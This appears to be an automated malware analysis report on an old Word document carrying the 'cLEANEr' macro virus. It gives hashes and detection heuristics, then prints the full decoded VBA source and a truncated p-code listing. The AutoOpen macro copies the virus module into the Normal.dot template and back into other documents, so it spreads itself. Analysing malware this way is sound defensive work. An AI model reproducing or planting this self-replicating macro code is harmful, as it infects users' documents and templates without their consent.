Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21629d7068e88bb8…

MALICIOUS

Office (OLE)

33.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a7e771f93c09be7df1567908802757f0 SHA-1: 284fa8d190fb2b0eaf16134f691c03630c22aee6 SHA-256: 21629d7068e88bb86be1dc47d1e07e5262b4c1d2f829c28ca02fa8abea6adc87
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, specifically identified as 'cLEANEr' malware. The AutoOpen macro attempts to copy itself to the Normal.dot template, indicating a mechanism for spreading to other documents. The AutoClose macro displays a message box, which is a common, albeit benign, behavior for this type of malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Poc-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Poc-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5253 bytes
SHA-256: f04a50c89233cd80c936b90ac948fab78a0571be52eb9b9973e22676cc15bd3a
Detection
ClamAV: Doc.Trojan.Poc-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "cLEANEr"
'Gene.cLEANEr virus authored by GeneCode


Sub AutoOpen()
Application.EnableCancelKey = True
Options.VirusProtection = True
Set V1Stealth = CommandBars("Tools")
Set V2Stealth = V1Stealth.Controls(12)
V2Stealth.Enabled = True

If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "cLEANEr" Then GoTo EndCleaner
  Next i
    VSource = NormalTemplate.FullName
    VTarget = ActiveDocument.FullName
Else
  For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "cLEANEr" Then GoTo EndCleaner
  Next i
    VSource = ActiveDocument.FullName
    VTarget = NormalTemplate.FullName
End If
Application.OrganizerCopy VSource, VTarget, "cLEANEr", wdOrganizerObjectProjectItems
EndCleaner:
End Sub

Sub Save()
Set myDocument = ActiveDocument
With myDocument.Shapes.AddShape(msoSmileyFace, 90, 90, 90, 50).Fill
    .ForeColor.RGB = RGB(128, 0, 0)
    .BackColor.RGB = RGB(170, 0, 170)
    .TwoColorGradient msoGradientHorizontal, 1
End With
End Sub

Sub AutoClose()
Dim Count As Integer
    For Count = 1 To 10
        Beep
        Beep
    Next
MsgBox "cLEANEr Says All Work And No Play Makes You A LAMER!"
End Sub



Attribute VB_Name = "NewMacros"

' Processing file: /opt/analyzer/scan_staging/0e49150cd3bc4f28b3888f58ed82a57b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/cLEANEr - 3586 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0027 "Gene.cLEANEr virus authored by GeneCode"
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Sub AutoOpen())
' Line #4:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #5:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #6:
' 	SetStmt 
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	Set V1Stealth 
' Line #7:
' 	SetStmt 
' 	LitDI2 0x000C 
' 	Ld V1Stealth 
' 	ArgsMemLd Controls 0x0001 
' 	Set V2Stealth 
' Line #8:
' 	LitVarSpecial (True)
' 	Ld V2Stealth 
' 	MemSt Enabled 
' Line #9:
' Line #10:
' 	Ld ThisDocument 
' 	MemLd New 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #12:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0007 "cLEANEr"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo EndCleaner 
' 	EndIf 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St VSource 
' Line #15:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St VTarget 
' Line #16:
' 	ElseBlock 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #18:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0007 "cLEANEr"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo EndCleaner 
' 	EndIf 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #20:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St VSource 
' Line #21:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St VTarget 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld VSource 
' 	Ld VTarget 
' 	LitStr 0x0007 "cLEANEr"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #24:
' 	Label EndCleaner 
' Line #25:
' 	EndSub 
' Line #26:
' Line #27:
' 	FuncDefn (Sub Save())
' Line #28:
' 
... (truncated)